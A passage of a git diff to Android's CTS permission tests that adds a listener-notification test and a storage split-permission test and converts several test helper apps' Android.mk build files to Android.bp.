+@AppModeFull(reason = "Instant apps cannot access properties of other apps")
+@RunWith(AndroidJUnit4ClassRunner.class)
+public class PermissionUpdateListenerTest {
+ private static final String APK =
+ "/data/local/tmp/cts/permissions/"
+ + "CtsAppThatRequestsCalendarContactsBodySensorCustomPermission.apk";
+ private static final String PACKAGE_NAME =
+ "android.permission.cts.appthatrequestcustompermission";
+ private static final String PERMISSION_NAME = "android.permission.READ_CONTACTS";
+ private static final int TIMEOUT = 30000;
+
+ private static final Context sContext =
+ InstrumentationRegistry.getInstrumentation().getContext();
+ private static final PackageManager sPm = sContext.getPackageManager();
+ private static int sUid;
+
+ @BeforeClass
+ public static void installApp() throws PackageManager.NameNotFoundException {
+ runShellCommand("pm install -r " + APK);
+ sUid = sPm.getPackageUid(PACKAGE_NAME, 0);
+ }
+
+ @AfterClass
+ public static void unInstallApp() {
+ runShellCommand("pm uninstall " + PACKAGE_NAME);
+ }
+
+ private class LatchWithPermissionsChangedListener extends CountDownLatch
+ implements OnPermissionsChangedListener {
+
+ LatchWithPermissionsChangedListener() {
+ super(1);
+ }
+
+ public void onPermissionsChanged(int uid) {
+ if (uid == sUid) {
+ countDown();
+ }
+ }
+ }
+
+ private void waitForLatchAndRemoveListener(@NonNull LatchWithPermissionsChangedListener latch)
+ throws Exception {
+ latch.await(TIMEOUT, TimeUnit.MILLISECONDS);
+ runWithShellPermissionIdentity(() -> sPm.removeOnPermissionsChangeListener(latch));
+ assertThat(latch.getCount()).isEqualTo((long) 0);
+ }
+
+ @Test
+ public void grantNotifiesListener() throws Exception {
+ LatchWithPermissionsChangedListener listenerCalled =
+ new LatchWithPermissionsChangedListener();
+
+ runWithShellPermissionIdentity(() -> {
+ sPm.revokeRuntimePermission(PACKAGE_NAME, PERMISSION_NAME, sContext.getUser());
+ sPm.addOnPermissionsChangeListener(listenerCalled);
+ sPm.grantRuntimePermission(PACKAGE_NAME, PERMISSION_NAME, sContext.getUser());
+ });
+ waitForLatchAndRemoveListener(listenerCalled);
+ }
+
+ @Test
+ public void revokeNotifiesListener() throws Exception {
+ LatchWithPermissionsChangedListener listenerCalled =
+ new LatchWithPermissionsChangedListener();
+
+ runWithShellPermissionIdentity(() -> {
+ sPm.grantRuntimePermission(PACKAGE_NAME, PERMISSION_NAME, sContext.getUser());
+ sPm.addOnPermissionsChangeListener(listenerCalled);
+ sPm.revokeRuntimePermission(PACKAGE_NAME, PERMISSION_NAME, sContext.getUser());
+ });
+ waitForLatchAndRemoveListener(listenerCalled);
+ }
+
+ @Test
+ public void updateFlagsNotifiesListener() throws Exception {
+ LatchWithPermissionsChangedListener listenerCalled =
+ new LatchWithPermissionsChangedListener();
+
+ runWithShellPermissionIdentity(() -> {
+ sPm.addOnPermissionsChangeListener(listenerCalled);
+ int flag = PackageManager.FLAG_PERMISSION_USER_SET;
+ sPm.updatePermissionFlags(PERMISSION_NAME, PACKAGE_NAME, flag, flag,
+ sContext.getUser());
+ });
+ waitForLatchAndRemoveListener(listenerCalled);
+ }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java b/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
index 050002a..ff0204b 100644
--- a/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
@@ -27,6 +27,7 @@
import android.content.Context;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
+import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.SecurityTest;
import androidx.test.InstrumentationRegistry;
@@ -36,6 +37,7 @@
import org.junit.Before;
import org.junit.Test;
+@AppModeFull(reason = "Instant apps cannot read state of other packages.")
public class RemovePermissionTest {
private static final String APP_PKG_NAME = "android.permission.cts.revokepermissionwhenremoved";
private static final String USER_PKG_NAME =
diff --git a/tests/tests/permission/src/android/permission/cts/SplitPermissionTest.java b/tests/tests/permission/src/android/permission/cts/SplitPermissionTest.java
index e6eeffc..b61f707 100644
--- a/tests/tests/permission/src/android/permission/cts/SplitPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/SplitPermissionTest.java
@@ -18,8 +18,10 @@
import static android.Manifest.permission.ACCESS_BACKGROUND_LOCATION;
import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
+import static android.Manifest.permission.ACCESS_MEDIA_LOCATION;
import static android.Manifest.permission.READ_CALL_LOG;
import static android.Manifest.permission.READ_CONTACTS;
+import static android.Manifest.permission.READ_EXTERNAL_STORAGE;
import static android.app.AppOpsManager.MODE_FOREGROUND;
import static android.app.AppOpsManager.MODE_IGNORED;
import static android.content.pm.PackageManager.FLAG_PERMISSION_REVIEW_REQUIRED;
@@ -72,6 +74,10 @@
TMP_DIR + "CtsAppThatRequestsContactsPermission15.apk";
private static final String APK_CONTACTS_CALLLOG_16 =
TMP_DIR + "CtsAppThatRequestsContactsAndCallLogPermission16.apk";
+ private static final String APK_STORAGE_29 =
+ TMP_DIR + "CtsAppThatRequestsStoragePermission29.apk";
+ private static final String APK_STORAGE_28 =
+ TMP_DIR + "CtsAppThatRequestsStoragePermission28.apk";
private static final String APK_LOCATION_29 =
TMP_DIR + "CtsAppThatRequestsLocationPermission29.apk";
private static final String APK_LOCATION_28 =
@@ -261,6 +267,22 @@
* If a permission was granted before the split happens, the new permission should inherit the
* granted state.
*
+ * This is a duplicate of {@link #inheritGrantedPermissionState} but for the storage permission
+ */
+ @Test
+ public void inheritGrantedPermissionStateStorage() throws Exception {
+ install(APK_STORAGE_29);
+ grantPermission(APP_PKG, READ_EXTERNAL_STORAGE);
+
+ install(APK_STORAGE_28);
+
+ assertPermissionGranted(ACCESS_MEDIA_LOCATION);
+ }
+
+ /**
+ * If a permission was granted before the split happens, the new permission should inherit the
+ * granted state.
+ *
* <p>App using a shared uid
*/
@Test
diff --git a/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java b/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java
index c15b7a4..de9a30b 100755
--- a/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java
+++ b/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java
@@ -107,15 +107,11 @@
break;
case READ_EXTERNAL_STORAGE:
assertSplit(split, ACCESS_MEDIA_LOCATION, Build.VERSION_CODES.Q);
- // Remove this split permission from seenSplits, ACCESS_MEDIA_LOCATION is not
- // always available hence removing this permission from seenSplits will
- // avoid seenSplits size check fail.
- seenSplits.remove(split);
break;
}
}
- assertEquals(6, seenSplits.size());
+ assertEquals(7, seenSplits.size());
}
private void assertSplit(SplitPermissionInfo split, String permission, int targetSdk) {
diff --git a/tests/tests/permission/telephony/AndroidTest.xml b/tests/tests/permission/telephony/AndroidTest.xml
index 6177a81..cdf5ff1 100644
--- a/tests/tests/permission/telephony/AndroidTest.xml
+++ b/tests/tests/permission/telephony/AndroidTest.xml
@@ -20,6 +20,7 @@
<!-- Telephony permission tests do not use any permission not available to instant apps. -->
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<!-- Install main test suite apk -->
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/permission/testapps/Android.mk b/tests/tests/permission/testapps/Android.mk
deleted file mode 100644
index 1d314d2..0000000
--- a/tests/tests/permission/testapps/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
new file mode 100644
index 0000000..3710ad3
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsAdversarialPermissionDefinerApp",
+ defaults: ["cts_defaults"],
+ sdk_version: "current",
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ certificate: ":cts-testkey1",
+}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.mk b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.mk
deleted file mode 100644
index b012b43..0000000
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_PACKAGE_NAME := CtsAdversarialPermissionDefinerApp
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
new file mode 100644
index 0000000..6c996b4
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsAdversarialPermissionUserApp",
+ defaults: ["cts_defaults"],
+ sdk_version: "current",
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ certificate: ":cts-testkey2",
+}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.mk b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.mk
deleted file mode 100644
index 49a2e2b..0000000
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.mk
+++ /dev/null
@@ -1,29 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
-LOCAL_PACKAGE_NAME := CtsAdversarialPermissionUserApp
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/Android.mk b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/Android.mk
deleted file mode 100644
index 1d314d2..0000000
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
new file mode 100644
index 0000000..42c25e6
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsRuntimePermissionDefinerApp",
+ defaults: ["cts_defaults"],
+ sdk_version: "current",
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ certificate: ":cts-testkey1",
+}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.mk b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.mk
deleted file mode 100644
index 0719e6a..0000000
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_PACKAGE_NAME := CtsRuntimePermissionDefinerApp
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
new file mode 100644
index 0000000..cb77194
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsRuntimePermissionUserApp",
+ defaults: ["cts_defaults"],
+ sdk_version: "current",
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ certificate: ":cts-testkey2",
+}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.mk b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.mk
deleted file mode 100644
index 3e7505b..0000000
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.mk
+++ /dev/null
@@ -1,29 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
-LOCAL_PACKAGE_NAME := CtsRuntimePermissionUserApp
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
new file mode 100644
index 0000000..8c87819
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsVictimPermissionDefinerApp",
+ defaults: ["cts_defaults"],
+ sdk_version: "current",
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ certificate: ":cts-testkey1",
+}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.mk b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.mk
deleted file mode 100644
index 833b8c7..0000000
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-
-LOCAL_PACKAGE_NAME := CtsVictimPermissionDefinerApp
-
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/permission2/Android.bp b/tests/tests/permission2/Android.bp
index adea669..840359f 100644
--- a/tests/tests/permission2/Android.bp
+++ b/tests/tests/permission2/Android.bp
@@ -25,6 +25,7 @@
],
libs: ["android.test.base.stubs"],
static_libs: [
+ "androidx.test.core",
"compatibility-device-util-axt",
"ctstestrunner-axt",
"guava",
@@ -32,6 +33,27 @@
"truth-prebuilt",
"permission-test-util-lib"
],
- srcs: ["src/**/*.java"],
+ srcs: [
+ "src/**/*.java",
+ "src/**/*.kt"
+ ],
sdk_version: "test_current",
+ data: [
+ ":CtsLocationPermissionsUserSdk22",
+ ":CtsLocationPermissionsUserSdk29",
+ ":CtsSMSCallLogPermissionsUserSdk22",
+ ":CtsSMSCallLogPermissionsUserSdk29",
+ ":CtsStoragePermissionsUserDefaultSdk22",
+ ":CtsStoragePermissionsUserDefaultSdk28",
+ ":CtsStoragePermissionsUserDefaultSdk29",
+ ":CtsStoragePermissionsUserOptInSdk22",
+ ":CtsStoragePermissionsUserOptInSdk28",
+ ":CtsStoragePermissionsUserOptOutSdk29",
+ ":CtsLegacyStorageNotIsolatedWithSharedUid",
+ ":CtsLegacyStorageIsolatedWithSharedUid",
+ ":CtsLegacyStorageRestrictedWithSharedUid",
+ ":CtsLegacyStorageRestrictedSdk28WithSharedUid",
+ ":CtsSMSRestrictedWithSharedUid",
+ ":CtsSMSNotRestrictedWithSharedUid",
+ ],
}
diff --git a/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
index 6ee6120..ea9e86e 100644
--- a/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
@@ -19,11 +19,4 @@
defaults: ["cts_defaults"],
sdk_version: "current",
-
- test_suites: [
- "cts",
- "vts",
- "general-tests",
- "cts_instant",
- ]
}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
index 63c2a14..c44004b 100644
--- a/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
@@ -19,11 +19,4 @@
defaults: ["cts_defaults"],
sdk_version: "current",
-
- test_suites: [
- "cts",
- "vts",
- "general-tests",
- "cts_instant",
- ]
}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
index 50ac715..f3b9994 100644
--- a/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
@@ -19,11 +19,4 @@
defaults: ["cts_defaults"],
sdk_version: "current",
-
- test_suites: [
- "cts",
- "vts",
- "general-tests",
- "cts_instant",
- ]
}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
index 78068f9..b0b486d 100644
--- a/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
@@ -19,11 +19,4 @@
defaults: ["cts_defaults"],
sdk_version: "current",
-
- test_suites: [
- "cts",
- "vts",
- "general-tests",
- "cts_instant",
- ]
}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp b/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp
index 35ab9e4..ef1e160 100644
--- a/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp
+++ b/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp
@@ -20,13 +20,6 @@
sdk_version: "current",
- test_suites: [
- "cts",
- "vts",
- "general-tests",
- "cts_instant",
- ],
-
// TODO: Uncomment when uncommenting the test
// srcs: ["src/**/*.java"]
diff --git a/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp b/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp
index 3804b92..44e9af0 100644
--- a/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp
+++ b/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp
@@ -20,13 +20,6 @@
sdk_version: "current",
- test_suites: [
- "cts",
- "vts",
- "general-tests",
- "cts_instant",
- ],
-
// TODO: Uncomment when uncommenting the test
// srcs: ["src/**/*.java"]
diff --git a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp
index 0fe3599..d1fc86a 100644
--- a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp
+++ b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp
@@ -20,13 +20,6 @@
sdk_version: "current",
- test_suites: [
- "cts",
- "vts",
- "general-tests",
- "cts_instant",
- ],
-
// TODO: Uncomment when uncommenting the test
// srcs: ["src/**/*.java"]
diff --git a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp
index a0189ad..3246d76 100644
--- a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp
+++ b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp
@@ -20,13 +20,6 @@
sdk_version: "current",
- test_suites: [
- "cts",
- "vts",
- "general-tests",
- "cts_instant",
- ],
-
// TODO: Uncomment when uncommenting the test
// srcs: ["src/**/*.java"]
diff --git a/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
index 9806571..34be9bf 100644
--- a/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
@@ -19,11 +19,4 @@
defaults: ["cts_defaults"],
sdk_version: "current",
-
- test_suites: [
- "cts",
- "vts",
- "general-tests",
- "cts_instant",
- ]
}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
index ec6d128..305125a 100644
--- a/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
@@ -19,11 +19,4 @@
defaults: ["cts_defaults"],
sdk_version: "current",
-
- test_suites: [
- "cts",
- "vts",
- "general-tests",
- "cts_instant",
- ]
}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp
index f63f14a..8183468 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp
@@ -17,11 +17,4 @@
android_test_helper_app {
name: "CtsStoragePermissionsUserDefaultSdk22",
defaults: ["cts_defaults"],
-
- test_suites: [
- "cts",
- "vts",
- "general-tests",
- "cts_instant",
- ]
}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp
index be2761a..738f20c 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp
@@ -17,11 +17,4 @@
